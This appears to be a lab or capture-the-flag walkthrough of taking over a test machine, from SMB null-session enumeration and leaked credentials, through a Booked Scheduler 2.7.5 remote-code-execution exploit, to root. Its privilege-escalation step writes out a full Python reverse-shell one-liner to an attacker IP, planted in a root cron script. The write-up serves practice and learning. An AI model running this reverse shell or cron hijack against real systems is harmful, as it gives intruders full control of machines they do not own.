Enumeration

2021年7月30日 11:47

1: Use autorecon to enumerate its services, **21, 22, 139, 445, 3306, 8003** are open
2: FTP does not allow anonymous login, and weak credential does not work.
3: SMB supports **null session**, the root folder is one **user's home folder**. To my surprise**, local flag** can be downloaded directly
4: I think **bash_history** could contain valuable info, however, it cannot be downloaded
5: According to **auth.log**, the user is **peter**. I try to brute force his password
6: According to **misc.log**, it reveals a potential web service admin credential
7: Check Port **8003**, it is **HTTP** service. The system is **Booker Scheduler 2.7.5**. And the index page is a login portal, use gained credential **admin:adminadmin** to sign in, and it succeeds.

Foothold

2021年7月30日 11:48

1: Booked Scheduler has a **RCE** exploit, which can be found here:
https://github.com/F-Masood/Booked-Scheduler-2.7.5---RCE-Without-MSF
2: Follow steps carefully, set up a netcat listener, and access
http://192.168.61.64:8003/booked/Web/custom-favicon.php
3: Get a shell

Privilege Escalation

2021年7月30日 11:48

1: Check the server's **/etc/crontab**, and I find a user-defined **cronjob** ran by **root**: **python /var/www/html/booked/cleanup.py**
2: I am sure this file is **writable**, therefore execute the command: **echo 'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.61",21));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")' > cleanup.py**
3: Set up another netcat listener
4: Get the root shell after some minutes

Review

2021年7月30日 11:49

1: Target **SMB** and **HTTP** service
2: Get sensitive info from **SMB** service
3: Use **gained info** to sign in **Booker Scheduler**
4: Exploit a **RCE** vulnerability
5: Abuse **crontab** to root